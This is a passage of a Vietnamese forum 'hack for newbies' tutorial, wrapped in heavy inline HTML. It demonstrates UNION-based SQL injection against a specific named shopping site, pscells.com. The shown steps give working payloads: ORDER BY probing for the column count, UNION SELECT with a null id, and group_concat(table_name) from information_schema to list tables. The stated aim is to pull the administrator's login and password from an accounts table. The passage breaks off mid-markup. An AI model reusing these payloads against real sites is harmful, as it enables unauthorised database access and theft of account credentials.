0px; border-top-right-radius: 0px; box-sizing: border-box; color: #05a6ad; cursor: pointer; font-family: Arial, tahoma, verdana, arial; font-size: 15px; line-height: 20.53333282470703px; text-align: justify; text-decoration: none;" target="_blank">http://pscells.com/chitietsanpham.php?id=40</a><span style="background-color: #fafafa; color: #141414; font-family: Arial, tahoma, verdana, arial; font-size: 15px; line-height: 20.53333282470703px; text-align: justify;"> order by 7-- - ==> Ko Lỗi</span><br /> <span style="background-color: #fafafa; color: #141414; font-family: Arial, tahoma, verdana, arial; font-size: 15px; line-height: 20.53333282470703px; text-align: justify;">Vậy : 7 < x < 10</span><br /> <span style="background-color: #fafafa; color: #141414; font-family: Arial, tahoma, verdana, arial; font-size: 15px; line-height: 20.53333282470703px; text-align: justify;">Tiếp Nào :</span><br /> <a href="http://sinhvienit.net/forum/url/?http%3A%2F%2Fpscells.com%2Fchitietsanpham.php%3Fid%3D40" rel="nofollow" style="-webkit-margin-after: 0px; -webkit-margin-before: 0px; -webkit-margin-end: 0px; -webkit-margin-start: 0px; -webkit-padding-end: 0px; -webkit-padding-start: 0px; background-color: #fafafa; border-bottom-left-radius: 0px; border-bottom-right-radius: 0px; border-top-left-radius: 0px; border-top-right-radius: 0px; box-sizing: border-box; color: #05a6ad; cursor: pointer; font-family: Arial, tahoma, verdana, arial; font-size: 15px; line-height: 20.53333282470703px; text-align: justify; text-decoration: none;" target="_blank">http://pscells.com/chitietsanpham.php?id=40</a><span style="background-color: #fafafa; color: #141414; font-family: Arial, tahoma, verdana, arial; font-size: 15px; line-height: 20.53333282470703px; text-align: justify;"> order by 9-- - ==> Lỗi</span><br /> <span style="background-color: #fafafa; color: #141414; font-family: Arial, tahoma, verdana, arial; font-size: 15px; line-height: 20.53333282470703px; text-align: justify;">Vậy : 7 < x < 9 ===> Thế Số Cột (Column) Là 8 Nhé </span><a href="http://sinhvienit.net/forum/tut-hack-sqli-injection-can-ban-cho-newbie-d.247389.html" id="vtlai_auto_link_back_2" style="-webkit-margin-after: 0px; -webkit-margin-before: 0px; -webkit-margin-end: 0px; -webkit-margin-start: 0px; -webkit-padding-end: 0px; -webkit-padding-start: 0px; background-color: #fafafa; border-bottom-left-radius: 0px; border-bottom-right-radius: 0px; border-top-left-radius: 0px; border-top-right-radius: 0px; box-sizing: border-box; color: #05a6ad; cursor: default; font-family: Arial, tahoma, verdana, arial; font-size: 15px; line-height: 20.53333282470703px; text-align: justify; text-decoration: none;" target="_blank" title="Hướng dẫn [TUT] Hack SQLi Injection Căn Bản Cho NewBie :D"><img alt="" border="0" class="inlineimg" src="http://sinhvienit.net/forum/images/smilies/LaiPro_NewYahoo/1.gif" style="-webkit-margin-after: 0px; -webkit-margin-before: 0px; -webkit-margin-end: 0px; -webkit-margin-start: 0px; -webkit-padding-end: 0px; -webkit-padding-start: 0px; border-bottom-left-radius: 0px; border-bottom-right-radius: 0px; border-top-left-radius: 0px; border-top-right-radius: 0px; border: 0px; box-sizing: border-box; display: inline-block;" title="happy" /></a><br /> <br style="-webkit-margin-after: 0px; -webkit-margin-before: 0px; -webkit-margin-end: 0px; -webkit-margin-start: 0px; -webkit-padding-end: 0px; -webkit-padding-start: 0px; background-color: #fafafa; border-bottom-left-radius: 0px; border-bottom-right-radius: 0px; border-top-left-radius: 0px; border-top-right-radius: 0px; box-sizing: border-box; color: #141414; font-family: Arial, tahoma, verdana, arial; font-size: 15px; line-height: 20.53333282470703px; text-align: justify;" /> <br style="-webkit-margin-after: 0px; -webkit-margin-before: 0px; -webkit-margin-end: 0px; -webkit-margin-start: 0px; -webkit-padding-end: 0px; -webkit-padding-start: 0px; background-color: #fafafa; border-bottom-left-radius: 0px; border-bottom-right-radius: 0px; border-top-left-radius: 0px; border-top-right-radius: 0px; box-sizing: border-box; color: #141414; font-family: Arial, tahoma, verdana, arial; font-size: 15px; line-height: 20.53333282470703px; text-align: justify;" /> <span style="background-color: #fafafa; color: #141414; font-family: Arial, tahoma, verdana, arial; font-size: 15px; line-height: 20.53333282470703px; text-align: justify;">Bây h Dùng Lệnh UNION SELECT để khai thác nó</span><br /> <span style="background-color: #fafafa; color: #141414; font-family: Arial, tahoma, verdana, arial; font-size: 15px; line-height: 20.53333282470703px; text-align: justify;">Vậy ta sẽ dùng lệnh UNION SELECT với số cột là 8</span><br /> <br style="-webkit-margin-after: 0px; -webkit-margin-before: 0px; -webkit-margin-end: 0px; -webkit-margin-start: 0px; -webkit-padding-end: 0px; -webkit-padding-start: 0px; background-color: #fafafa; border-bottom-left-radius: 0px; border-bottom-right-radius: 0px; border-top-left-radius: 0px; border-top-right-radius: 0px; box-sizing: border-box; color: #141414; font-family: Arial, tahoma, verdana, arial; font-size: 15px; line-height: 20.53333282470703px; text-align: justify;" /> <br style="-webkit-margin-after: 0px; -webkit-margin-before: 0px; -webkit-margin-end: 0px; -webkit-margin-start: 0px; -webkit-padding-end: 0px; -webkit-padding-start: 0px; background-color: #fafafa; border-bottom-left-radius: 0px; border-bottom-right-radius: 0px; border-top-left-radius: 0px; border-top-right-radius: 0px; box-sizing: border-box; color: #141414; font-family: Arial, tahoma, verdana, arial; font-size: 15px; line-height: 20.53333282470703px; text-align: justify;" /> <span style="background-color: #fafafa; color: #141414; font-family: Arial, tahoma, verdana, arial; font-size: 15px; line-height: 20.53333282470703px; text-align: justify;">Ta Sẽ Có Link :</span><br /> <a href="http://sinhvienit.net/forum/url/?http%3A%2F%2Fpscells.com%2Fchitietsanpham.php%3Fid%3D40" rel="nofollow" style="-webkit-margin-after: 0px; -webkit-margin-before: 0px; -webkit-margin-end: 0px; -webkit-margin-start: 0px; -webkit-padding-end: 0px; -webkit-padding-start: 0px; background-color: #fafafa; border-bottom-left-radius: 0px; border-bottom-right-radius: 0px; border-top-left-radius: 0px; border-top-right-radius: 0px; box-sizing: border-box; color: #05a6ad; cursor: pointer; font-family: Arial, tahoma, verdana, arial; font-size: 15px; line-height: 20.53333282470703px; text-align: justify; text-decoration: none;" target="_blank">http://pscells.com/chitietsanpham.php?id=40</a><span style="background-color: #fafafa; color: #141414; font-family: Arial, tahoma, verdana, arial; font-size: 15px; line-height: 20.53333282470703px; text-align: justify;"> </span><span style="-webkit-margin-after: 0px; -webkit-margin-before: 0px; -webkit-margin-end: 0px; -webkit-margin-start: 0px; -webkit-padding-end: 0px; -webkit-padding-start: 0px; background-color: #fafafa; border-bottom-left-radius: 0px; border-bottom-right-radius: 0px; border-top-left-radius: 0px; border-top-right-radius: 0px; box-sizing: border-box; color: red; font-family: Arial, tahoma, verdana, arial; font-size: 15px; line-height: 20.53333282470703px; text-align: justify;">UNION SELECT 1,2,3,4,5,6,7,8</span><span style="background-color: #fafafa; color: #141414; font-family: Arial, tahoma, verdana, arial; font-size: 15px; line-height: 20.53333282470703px; text-align: justify;">-- -</span><br /> <br style="-webkit-margin-after: 0px; -webkit-margin-before: 0px; -webkit-margin-end: 0px; -webkit-margin-start: 0px; -webkit-padding-end: 0px; -webkit-padding-start: 0px; background-color: #fafafa; border-bottom-left-radius: 0px; border-bottom-right-radius: 0px; border-top-left-radius: 0px; border-top-right-radius: 0px; box-sizing: border-box; color: #141414; font-family: Arial, tahoma, verdana, arial; font-size: 15px; line-height: 20.53333282470703px; text-align: justify;" /> <br style="-webkit-margin-after: 0px; -webkit-margin-before: 0px; -webkit-margin-end: 0px; -webkit-margin-start: 0px; -webkit-padding-end: 0px; -webkit-padding-start: 0px; background-color: #fafafa; border-bottom-left-radius: 0px; border-bottom-right-radius: 0px; border-top-left-radius: 0px; border-top-right-radius: 0px; box-sizing: border-box; color: #141414; font-family: Arial, tahoma, verdana, arial; font-size: 15px; line-height: 20.53333282470703px; text-align: justify;" /> <span style="-webkit-margin-after: 0px; -webkit-margin-before: 0px; -webkit-margin-end: 0px; -webkit-margin-start: 0px; -webkit-padding-end: 0px; -webkit-padding-start: 0px; background-color: #fafafa; border-bottom-left-radius: 0px; border-bottom-right-radius: 0px; border-top-left-radius: 0px; border-top-right-radius: 0px; box-sizing: border-box; color: red; font-family: Arial, tahoma, verdana, arial; font-size: 15px; line-height: 20.53333282470703px; text-align: justify;">Trường Hợp Vài Site Khi Khai Thác Lệnh Này Xoq Vẫn Ko Thấy Gì</span><span style="background-color: #fafafa; color: #141414; font-family: Arial, tahoma, verdana, arial; font-size: 15px; line-height: 20.53333282470703px; text-align: justify;"> ==> Cách Giải Quyết :</span><br /> <br style="-webkit-margin-after: 0px; -webkit-margin-before: 0px; -webkit-margin-end: 0px; -webkit-margin-start: 0px; -webkit-padding-end: 0px; -webkit-padding-start: 0px; background-color: #fafafa; border-bottom-left-radius: 0px; border-bottom-right-radius: 0px; border-top-left-radius: 0px; border-top-right-radius: 0px; box-sizing: border-box; color: #141414; font-family: Arial, tahoma, verdana, arial; font-size: 15px; line-height: 20.53333282470703px; text-align: justify;" /> <br style="-webkit-margin-after: 0px; -webkit-margin-before: 0px; -webkit-margin-end: 0px; -webkit-margin-start: 0px; -webkit-padding-end: 0px; -webkit-padding-start: 0px; background-color: #fafafa; border-bottom-left-radius: 0px; border-bottom-right-radius: 0px; border-top-left-radius: 0px; border-top-right-radius: 0px; box-sizing: border-box; color: #141414; font-family: Arial, tahoma, verdana, arial; font-size: 15px; line-height: 20.53333282470703px; text-align: justify;" /> <span style="background-color: #fafafa; color: #141414; font-family: Arial, tahoma, verdana, arial; font-size: 15px; line-height: 20.53333282470703px; text-align: justify;">Thay Null Vào ?id=</span><span style="-webkit-margin-after: 0px; -webkit-margin-before: 0px; -webkit-margin-end: 0px; -webkit-margin-start: 0px; -webkit-padding-end: 0px; -webkit-padding-start: 0px; background-color: #fafafa; border-bottom-left-radius: 0px; border-bottom-right-radius: 0px; border-top-left-radius: 0px; border-top-right-radius: 0px; box-sizing: border-box; color: red; font-family: Arial, tahoma, verdana, arial; font-size: 15px; line-height: 20.53333282470703px; text-align: justify;">40</span><span style="background-color: #fafafa; color: #141414; font-family: Arial, tahoma, verdana, arial; font-size: 15px; line-height: 20.53333282470703px; text-align: justify;"> Có Nghĩa Là Link Sẽ Thành :</span><br /> <br style="-webkit-margin-after: 0px; -webkit-margin-before: 0px; -webkit-margin-end: 0px; -webkit-margin-start: 0px; -webkit-padding-end: 0px; -webkit-padding-start: 0px; background-color: #fafafa; border-bottom-left-radius: 0px; border-bottom-right-radius: 0px; border-top-left-radius: 0px; border-top-right-radius: 0px; box-sizing: border-box; color: #141414; font-family: Arial, tahoma, verdana, arial; font-size: 15px; line-height: 20.53333282470703px; text-align: justify;" /> <br style="-webkit-margin-after: 0px; -webkit-margin-before: 0px; -webkit-margin-end: 0px; -webkit-margin-start: 0px; -webkit-padding-end: 0px; -webkit-padding-start: 0px; background-color: #fafafa; border-bottom-left-radius: 0px; border-bottom-right-radius: 0px; border-top-left-radius: 0px; border-top-right-radius: 0px; box-sizing: border-box; color: #141414; font-family: Arial, tahoma, verdana, arial; font-size: 15px; line-height: 20.53333282470703px; text-align: justify;" /> <a href="http://sinhvienit.net/forum/url/?http%3A%2F%2Fpscells.com%2Fchitietsanpham.php%3Fid%3D" rel="nofollow" style="-webkit-margin-after: 0px; -webkit-margin-before: 0px; -webkit-margin-end: 0px; -webkit-margin-start: 0px; -webkit-padding-end: 0px; -webkit-padding-start: 0px; background-color: #fafafa; border-bottom-left-radius: 0px; border-bottom-right-radius: 0px; border-top-left-radius: 0px; border-top-right-radius: 0px; box-sizing: border-box; color: #05a6ad; cursor: pointer; font-family: Arial, tahoma, verdana, arial; font-size: 15px; line-height: 20.53333282470703px; text-align: justify; text-decoration: none;" target="_blank">http://pscells.com/chitietsanpham.php?id=</a><span style="-webkit-margin-after: 0px; -webkit-margin-before: 0px; -webkit-margin-end: 0px; -webkit-margin-start: 0px; -webkit-padding-end: 0px; -webkit-padding-start: 0px; background-color: #fafafa; border-bottom-left-radius: 0px; border-bottom-right-radius: 0px; border-top-left-radius: 0px; border-top-right-radius: 0px; box-sizing: border-box; color: red; font-family: Arial, tahoma, verdana, arial; font-size: 15px; line-height: 20.53333282470703px; text-align: justify;">null</span><span style="background-color: #fafafa; color: #141414; font-family: Arial, tahoma, verdana, arial; font-size: 15px; line-height: 20.53333282470703px; text-align: justify;"> UNION SELECT 1,2,3,4,5,6,7,8-- -</span><br /> <br style="-webkit-margin-after: 0px; -webkit-margin-before: 0px; -webkit-margin-end: 0px; -webkit-margin-start: 0px; -webkit-padding-end: 0px; -webkit-padding-start: 0px; background-color: #fafafa; border-bottom-left-radius: 0px; border-bottom-right-radius: 0px; border-top-left-radius: 0px; border-top-right-radius: 0px; box-sizing: border-box; color: #141414; font-family: Arial, tahoma, verdana, arial; font-size: 15px; line-height: 20.53333282470703px; text-align: justify;" /> <br style="-webkit-margin-after: 0px; -webkit-margin-before: 0px; -webkit-margin-end: 0px; -webkit-margin-start: 0px; -webkit-padding-end: 0px; -webkit-padding-start: 0px; background-color: #fafafa; border-bottom-left-radius: 0px; border-bottom-right-radius: 0px; border-top-left-radius: 0px; border-top-right-radius: 0px; box-sizing: border-box; color: #141414; font-family: Arial, tahoma, verdana, arial; font-size: 15px; line-height: 20.53333282470703px; text-align: justify;" /> <span style="background-color: #fafafa; color: #141414; font-family: Arial, tahoma, verdana, arial; font-size: 15px; line-height: 20.53333282470703px; text-align: justify;">Nếu Cột Nào Đó Từ 1 -> 8 Bị Lỗi Sẽ Xuất Hiện Như Hình :</span><br /> <br style="-webkit-margin-after: 0px; -webkit-margin-before: 0px; -webkit-margin-end: 0px; -webkit-margin-start: 0px; -webkit-padding-end: 0px; -webkit-padding-start: 0px; background-color: #fafafa; border-bottom-left-radius: 0px; border-bottom-right-radius: 0px; border-top-left-radius: 0px; border-top-right-radius: 0px; box-sizing: border-box; color: #141414; font-family: Arial, tahoma, verdana, arial; font-size: 15px; line-height: 20.53333282470703px; text-align: justify;" /> <br style="-webkit-margin-after: 0px; -webkit-margin-before: 0px; -webkit-margin-end: 0px; -webkit-margin-start: 0px; -webkit-padding-end: 0px; -webkit-padding-start: 0px; background-color: #fafafa; border-bottom-left-radius: 0px; border-bottom-right-radius: 0px; border-top-left-radius: 0px; border-top-right-radius: 0px; box-sizing: border-box; color: #141414; font-family: Arial, tahoma, verdana, arial; font-size: 15px; line-height: 20.53333282470703px; text-align: justify;" /> <a href="http://sinhvienit.net/forum/tut-hack-sqli-injection-can-ban-cho-newbie-d.247389.html" id="vtlai_auto_link_back_3" style="-webkit-margin-after: 0px; -webkit-margin-before: 0px; -webkit-margin-end: 0px; -webkit-margin-start: 0px; -webkit-padding-end: 0px; -webkit-padding-start: 0px; background-color: #fafafa; border-bottom-left-radius: 0px; border-bottom-right-radius: 0px; border-top-left-radius: 0px; border-top-right-radius: 0px; box-sizing: border-box; color: #05a6ad; cursor: default; font-family: Arial, tahoma, verdana, arial; font-size: 15px; line-height: 20.53333282470703px; text-align: justify; text-decoration: none;" target="_blank" title="Hướng dẫn [TUT] Hack SQLi Injection Căn Bản Cho NewBie :D"><img alt="" border="0" src="http://data.sinhvienit.net/2013/T03/img/SinhVienIT.Net---1419390-167s.png" style="-webkit-margin-after: 0px; -webkit-margin-before: 0px; -webkit-margin-end: 0px; -webkit-margin-start: 0px; -webkit-padding-end: 0px; -webkit-padding-start: 0px; border-bottom-left-radius: 0px; border-bottom-right-radius: 0px; border-top-left-radius: 0px; border-top-right-radius: 0px; border: 0px solid rgb(223, 235, 244); box-sizing: border-box; display: inline-block;" /></a><br /> <br style="-webkit-margin-after: 0px; -webkit-margin-before: 0px; -webkit-margin-end: 0px; -webkit-margin-start: 0px; -webkit-padding-end: 0px; -webkit-padding-start: 0px; background-color: #fafafa; border-bottom-left-radius: 0px; border-bottom-right-radius: 0px; border-top-left-radius: 0px; border-top-right-radius: 0px; box-sizing: border-box; color: #141414; font-family: Arial, tahoma, verdana, arial; font-size: 15px; line-height: 20.53333282470703px; text-align: justify;" /> <br style="-webkit-margin-after: 0px; -webkit-margin-before: 0px; -webkit-margin-end: 0px; -webkit-margin-start: 0px; -webkit-padding-end: 0px; -webkit-padding-start: 0px; background-color: #fafafa; border-bottom-left-radius: 0px; border-bottom-right-radius: 0px; border-top-left-radius: 0px; border-top-right-radius: 0px; box-sizing: border-box; color: #141414; font-family: Arial, tahoma, verdana, arial; font-size: 15px; line-height: 20.53333282470703px; text-align: justify;" /> <span style="background-color: #fafafa; color: #141414; font-family: Arial, tahoma, verdana, arial; font-size: 15px; line-height: 20.53333282470703px; text-align: justify;">Vậy Cột 6 Bị Lỗi Nhé </span><a href="http://sinhvienit.net/forum/tut-hack-sqli-injection-can-ban-cho-newbie-d.247389.html" id="vtlai_auto_link_back_4" style="-webkit-margin-after: 0px; -webkit-margin-before: 0px; -webkit-margin-end: 0px; -webkit-margin-start: 0px; -webkit-padding-end: 0px; -webkit-padding-start: 0px; background-color: #fafafa; border-bottom-left-radius: 0px; border-bottom-right-radius: 0px; border-top-left-radius: 0px; border-top-right-radius: 0px; box-sizing: border-box; color: #05a6ad; cursor: default; font-family: Arial, tahoma, verdana, arial; font-size: 15px; line-height: 20.53333282470703px; text-align: justify; text-decoration: none;" target="_blank" title="Hướng dẫn [TUT] Hack SQLi Injection Căn Bản Cho NewBie :D"><img alt="" border="0" class="inlineimg" src="http://sinhvienit.net/forum/images/smilies/LaiPro_NewYahoo/4.gif" style="-webkit-margin-after: 0px; -webkit-margin-before: 0px; -webkit-margin-end: 0px; -webkit-margin-start: 0px; -webkit-padding-end: 0px; -webkit-padding-start: 0px; border-bottom-left-radius: 0px; border-bottom-right-radius: 0px; border-top-left-radius: 0px; border-top-right-radius: 0px; border: 0px; box-sizing: border-box; display: inline-block;" title="big green" /></a><br /> <span style="background-color: #fafafa; color: #141414; font-family: Arial, tahoma, verdana, arial; font-size: 15px; line-height: 20.53333282470703px; text-align: justify;">Bây giờ ta khai thác với lệnh như sau:</span><br /> <br style="-webkit-margin-after: 0px; -webkit-margin-before: 0px; -webkit-margin-end: 0px; -webkit-margin-start: 0px; -webkit-padding-end: 0px; -webkit-padding-start: 0px; background-color: #fafafa; border-bottom-left-radius: 0px; border-bottom-right-radius: 0px; border-top-left-radius: 0px; border-top-right-radius: 0px; box-sizing: border-box; color: #141414; font-family: Arial, tahoma, verdana, arial; font-size: 15px; line-height: 20.53333282470703px; text-align: justify;" /> <br style="-webkit-margin-after: 0px; -webkit-margin-before: 0px; -webkit-margin-end: 0px; -webkit-margin-start: 0px; -webkit-padding-end: 0px; -webkit-padding-start: 0px; background-color: #fafafa; border-bottom-left-radius: 0px; border-bottom-right-radius: 0px; border-top-left-radius: 0px; border-top-right-radius: 0px; box-sizing: border-box; color: #141414; font-family: Arial, tahoma, verdana, arial; font-size: 15px; line-height: 20.53333282470703px; text-align: justify;" /> <a href="http://sinhvienit.net/forum/url/?http%3A%2F%2Fpscells.com%2Fchitietsanpham.php%3Fid%3Dnull" rel="nofollow" style="-webkit-margin-after: 0px; -webkit-margin-before: 0px; -webkit-margin-end: 0px; -webkit-margin-start: 0px; -webkit-padding-end: 0px; -webkit-padding-start: 0px; background-color: #fafafa; border-bottom-left-radius: 0px; border-bottom-right-radius: 0px; border-top-left-radius: 0px; border-top-right-radius: 0px; box-sizing: border-box; color: #05a6ad; cursor: pointer; font-family: Arial, tahoma, verdana, arial; font-size: 15px; line-height: 20.53333282470703px; text-align: justify; text-decoration: none;" target="_blank">http://pscells.com/chitietsanpham.php?id=null</a><span style="background-color: #fafafa; color: #141414; font-family: Arial, tahoma, verdana, arial; font-size: 15px; line-height: 20.53333282470703px; text-align: justify;"> UNION SELECT 1,2,3,4,5,</span><span style="-webkit-margin-after: 0px; -webkit-margin-before: 0px; -webkit-margin-end: 0px; -webkit-margin-start: 0px; -webkit-padding-end: 0px; -webkit-padding-start: 0px; background-color: #fafafa; border-bottom-left-radius: 0px; border-bottom-right-radius: 0px; border-top-left-radius: 0px; border-top-right-radius: 0px; box-sizing: border-box; color: red; font-family: Arial, tahoma, verdana, arial; font-size: 15px; line-height: 20.53333282470703px; text-align: justify;">group_concat(table_name)</span><span style="background-color: #fafafa; color: #141414; font-family: Arial, tahoma, verdana, arial; font-size: 15px; line-height: 20.53333282470703px; text-align: justify;">,7,8 </span><span style="-webkit-margin-after: 0px; -webkit-margin-before: 0px; -webkit-margin-end: 0px; -webkit-margin-start: 0px; -webkit-padding-end: 0px; -webkit-padding-start: 0px; background-color: #fafafa; border-bottom-left-radius: 0px; border-bottom-right-radius: 0px; border-top-left-radius: 0px; border-top-right-radius: 0px; box-sizing: border-box; color: red; font-family: Arial, tahoma, verdana, arial; font-size: 15px; line-height: 20.53333282470703px; text-align: justify;">from information_schema.tables where table_schema=database()</span><span style="background-color: #fafafa; color: #141414; font-family: Arial, tahoma, verdana, arial; font-size: 15px; line-height: 20.53333282470703px; text-align: justify;">-- -</span><br /> <br style="-webkit-margin-after: 0px; -webkit-margin-before: 0px; -webkit-margin-end: 0px; -webkit-margin-start: 0px; -webkit-padding-end: 0px; -webkit-padding-start: 0px; background-color: #fafafa; border-bottom-left-radius: 0px; border-bottom-right-radius: 0px; border-top-left-radius: 0px; border-top-right-radius: 0px; box-sizing: border-box; color: #141414; font-family: Arial, tahoma, verdana, arial; font-size: 15px; line-height: 20.53333282470703px; text-align: justify;" /> <br style="-webkit-margin-after: 0px; -webkit-margin-before: 0px; -webkit-margin-end: 0px; -webkit-margin-start: 0px; -webkit-padding-end: 0px; -webkit-padding-start: 0px; background-color: #fafafa; border-bottom-left-radius: 0px; border-bottom-right-radius: 0px; border-top-left-radius: 0px; border-top-right-radius: 0px; box-sizing: border-box; color: #141414; font-family: Arial, tahoma, verdana, arial; font-size: 15px; line-height: 20.53333282470703px; text-align: justify;" /> <span style="background-color: #fafafa; color: #141414; font-family: Arial, tahoma, verdana, arial; font-size: 15px; line-height: 20.53333282470703px; text-align: justify;">( Thay Thế Group_concat(table_name) vào số cột bị lỗi mà ta đã tìm hồi nãy ( cột 6 ) , Thêm from information_schema.tables where table_schema=database() Để Tìm Ra Cách Table Có Trong Database )</span><br /> <br style="-webkit-margin-after: 0px; -webkit-margin-before: 0px; -webkit-margin-end: 0px; -webkit-margin-start: 0px; -webkit-padding-end: 0px; -webkit-padding-start: 0px; background-color: #fafafa; border-bottom-left-radius: 0px; border-bottom-right-radius: 0px; border-top-left-radius: 0px; border-top-right-radius: 0px; box-sizing: border-box; color: #141414; font-family: Arial, tahoma, verdana, arial; font-size: 15px; line-height: 20.53333282470703px; text-align: justify;" /> <br style="-webkit-margin-after: 0px; -webkit-margin-before: 0px; -webkit-margin-end: 0px; -webkit-margin-start: 0px; -webkit-padding-end: 0px; -webkit-padding-start: 0px; background-color: #fafafa; border-bottom-left-radius: 0px; border-bottom-right-radius: 0px; border-top-left-radius: 0px; border-top-right-radius: 0px; box-sizing: border-box; color: #141414; font-family: Arial, tahoma, verdana, arial; font-size: 15px; line-height: 20.53333282470703px; text-align: justify;" /> <span style="background-color: #fafafa; color: #141414; font-family: Arial, tahoma, verdana, arial; font-size: 15px; line-height: 20.53333282470703px; text-align: justify;">Và Sau Đó Ta Đc Các Table Của Database Như Hình : </span><br /> <br style="-webkit-margin-after: 0px; -webkit-margin-before: 0px; -webkit-margin-end: 0px; -webkit-margin-start: 0px; -webkit-padding-end: 0px; -webkit-padding-start: 0px; background-color: #fafafa; border-bottom-left-radius: 0px; border-bottom-right-radius: 0px; border-top-left-radius: 0px; border-top-right-radius: 0px; box-sizing: border-box; color: #141414; font-family: Arial, tahoma, verdana, arial; font-size: 15px; line-height: 20.53333282470703px; text-align: justify;" /> <br style="-webkit-margin-after: 0px; -webkit-margin-before: 0px; -webkit-margin-end: 0px; -webkit-margin-start: 0px; -webkit-padding-end: 0px; -webkit-padding-start: 0px; background-color: #fafafa; border-bottom-left-radius: 0px; border-bottom-right-radius: 0px; border-top-left-radius: 0px; border-top-right-radius: 0px; box-sizing: border-box; color: #141414; font-family: Arial, tahoma, verdana, arial; font-size: 15px; line-height: 20.53333282470703px; text-align: justify;" /> <br /> <div class="resizewraper" style="-webkit-margin-after: 0px; -webkit-margin-before: 0px; -webkit-margin-end: 0px; -webkit-margin-start: 0px; -webkit-padding-end: 0px; -webkit-padding-start: 0px; border-bottom-left-radius: 0px; border-bottom-right-radius: 0px; border-top-left-radius: 0px; border-top-right-radius: 0px; box-sizing: border-box; display: inline-block; margin: 0px; padding: 0px; position: relative; vertical-align: top;"> <a href="http://sinhvienit.net/forum/tut-hack-sqli-injection-can-ban-cho-newbie-d.247389.html" id="vtlai_auto_link_back_5" style="-webkit-margin-after: 0px; -webkit-margin-before: 0px; -webkit-margin-end: 0px; -webkit-margin-start: 0px; -webkit-padding-end: 0px; -webkit-padding-start: 0px; background-color: #fafafa; border-bottom-left-radius: 0px; border-bottom-right-radius: 0px; border-top-left-radius: 0px; border-top-right-radius: 0px; box-sizing: border-box; color: #05a6ad; cursor: default; font-family: Arial, tahoma, verdana, arial; font-size: 15px; line-height: 20.53333282470703px; text-align: justify; text-decoration: none;" target="_blank" title="Hướng dẫn [TUT] Hack SQLi Injection Căn Bản Cho NewBie :D"><img alt="" border="0" src="http://data.sinhvienit.net/2013/T03/img/SinhVienIT.Net---1419390-vsetzf.png" style="-webkit-margin-after: 0px; -webkit-margin-before: 0px; -webkit-margin-end: 0px; -webkit-margin-start: 0px; -webkit-padding-end: 0px; -webkit-padding-start: 0px; border-bottom-left-radius: 0px; border-bottom-right-radius: 0px; border-top-left-radius: 0px; border-top-right-radius: 0px; border: 5px solid rgb(223, 235, 244); box-sizing: border-box; display: inline-block; width: 860px;" /></a></div> <br style="-webkit-margin-after: 0px; -webkit-margin-before: 0px; -webkit-margin-end: 0px; -webkit-margin-start: 0px; -webkit-padding-end: 0px; -webkit-padding-start: 0px; background-color: #fafafa; border-bottom-left-radius: 0px; border-bottom-right-radius: 0px; border-top-left-radius: 0px; border-top-right-radius: 0px; box-sizing: border-box; color: #141414; font-family: Arial, tahoma, verdana, arial; font-size: 15px; line-height: 20.53333282470703px; text-align: justify;" /> <br style="-webkit-margin-after: 0px; -webkit-margin-before: 0px; -webkit-margin-end: 0px; -webkit-margin-start: 0px; -webkit-padding-end: 0px; -webkit-padding-start: 0px; background-color: #fafafa; border-bottom-left-radius: 0px; border-bottom-right-radius: 0px; border-top-left-radius: 0px; border-top-right-radius: 0px; box-sizing: border-box; color: #141414; font-family: Arial, tahoma, verdana, arial; font-size: 15px; line-height: 20.53333282470703px; text-align: justify;" /> <br style="-webkit-margin-after: 0px; -webkit-margin-before: 0px; -webkit-margin-end: 0px; -webkit-margin-start: 0px; -webkit-padding-end: 0px; -webkit-padding-start: 0px; background-color: #fafafa; border-bottom-left-radius: 0px; border-bottom-right-radius: 0px; border-top-left-radius: 0px; border-top-right-radius: 0px; box-sizing: border-box; color: #141414; font-family: Arial, tahoma, verdana, arial; font-size: 15px; line-height: 20.53333282470703px; text-align: justify;" /> <span style="background-color: #fafafa; color: #141414; font-family: Arial, tahoma, verdana, arial; font-size: 15px; line-height: 20.53333282470703px; text-align: justify;">Lưu Ý Chúng Ta Cần Tìm ID và Pass Của Admin , Nên Ta Sẽ Chọn Table Có Liên Quan Đến Tài Khoản Người Dùng . Như Troq Hình Là Table " Taikhoan "</span><br /> <br style="-webkit-margin-after: 0px; -webkit-margin-before: 0px; -webkit-margin-end: 0px; -webkit-margin-start: 0px; -webkit-padding-end: 0px; -webkit-padding-start: 0px; background-color: #fafafa; border-bottom-left-radius: 0px; border-bottom-right-radius: 0px; border-top-left-radius: 0px; border-top-right-radius: 0px; box-sizing: border-box; color: #141414; font-family: Arial, tahoma, verdana, arial; font-size: 15px; line-height: 20.53333282470703px; text-align: justify;" /> <br style="-webkit-margin-after: 0px; -webkit-margin-before: 0px; -webkit-margin-end: 0px; -webkit-margin-start: 0px; -webkit-padding-end: 0px; -webkit-padding-start: 0px; background-color: #fafafa; border-bottom-left-radius: 0px; border-bottom-right-radius: 0px; border-top-left-radius: 0px; border-top-right-radius: 0px; box-sizing: border-box; color: #141414; font-family: Arial, tahoma, verdana, arial; font-size: 15px; line-height: 20.53333282470703px; text-align: justify;" /> <br /> <div class="resizewraper" style="-webkit-margin-after: 0px; -webkit-margin-before: 0px; -webkit-margin-end: 0px; -webkit-margin-start: 0px; -webkit-padding-end: 0px; -webkit-padding-start: 0px; border-bottom-left-radius: 0px; border-bottom-right-radius: 0px; border-top-left-radius: 0px; border-top-right-radius: 0px; box-sizing: border-box; display: inline-block; margin: 0px; padding: 0px; position: relative; vertical-align: top;"> <a href="http://sinhvienit.net/forum/tut-hack-sqli-injection-can-ban-cho-newbie-d.247389.html" id="vtlai_auto_link_back_6" style="-webkit-margin-after: 0px; -webkit-margin-before: 0px; -webkit-margin-end: 0px; -webkit-margin-start: 0px; -webkit-padding-end: 0px; -webkit-padding-start: 0px; background-color: #fafafa; border-bottom-left-radius: 0px; border-bottom-right-radius: 0px; border-top-left-radius: 0px; border-top-right-radius: 0px; box-sizing: border-box; color: #05a6ad; cursor: default; font-family: Arial, tahoma, verdana, arial; font-size: 15px; line-height: 20.53333282470703px; text-align: justify; text-decoration: none;" target="_blank" title="Hướng dẫn [TUT] Hack SQLi Injection Căn Bản Cho NewBie :D"><img alt="" border="0" src="http://data.sinhvienit.net/2013/T03/img/SinhVienIT.Net---1419390-vsecoi.png" style="-webkit-margin-after: 0px; -webkit-margin-before: 0px; -webkit-margin-end: 0px; -webkit-margin-start: 0px; -webkit-padding-end: 0px; -webkit-padding-start: 0px; border-bottom-left-radius: 0px; border-bottom-right-radius: 0px; border-top-left-radius: 0px; border-top-right-radius: 0px; border: 5px solid rgb(223, 235, 244); box-sizing: border-box; display: inline-block; width: 860px;" /></a></div> <br style="-webkit-margin-after: 0px; 